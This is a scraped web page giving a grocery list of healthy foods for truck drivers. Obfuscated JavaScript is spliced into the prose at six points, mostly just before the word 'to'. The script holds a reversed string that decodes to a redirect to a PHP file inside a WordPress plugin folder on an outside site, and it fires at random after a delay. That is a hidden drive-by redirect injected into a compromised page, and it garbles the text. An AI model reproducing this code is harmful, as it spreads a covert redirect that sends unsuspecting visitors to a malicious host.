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Handy Hints: Supermarket list for truck drivers

SUPERMARKET LIST FOR TRUCK DRIVERS

 

 

 

 

 

 

 

As it’s important for a truck driver $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to put fuel their truck, it’s important they pay attention $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to what they put in themselves $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to fuel their bodies. Meal prepping is a great way $nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to help you keep track of what you’re putting in your body, and help you save time and money. As meal prepping may seem time consuming or unrealistic for you, here’s a grocery list for truck drivers who are looking for easy meals or ready-$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to-eat food items that will save you from eating out every meal!

Fruit/Vegetables

  • Apples
  • Carrots
  • Canned fruit (no added sugar)
  • Cucumbers
  • Bananas
  • Blueberries
  • Broccoli
  • Cauliflower
  • Cherries
  • Chickpeas
  • Frozen fruit (no added sugar)
  • Frozen/steamer bag veggies
  • Grapes
  • Lettuce
  • Oranges
  • Pineapple
  • Pota$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“‘php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toes
  • Strawberries

Protein

  • Chicken
  • Canned tuna
  • Fish
  • Lean ground beef, chicken, and/or turkey
  • Sausage
  • Nuts
  • Peanut butter
  • Lean jerky
  • Protein bars
  • Protein powder

Dairy

  • Eggs
  • Yogurt
  • Milk
  • Cheese
  • Cottage cheese

Grains

  • Rice
  • High fiber cereals (for ex: cheerios,
  • Bread
  • Wraps
  • Oatmeal
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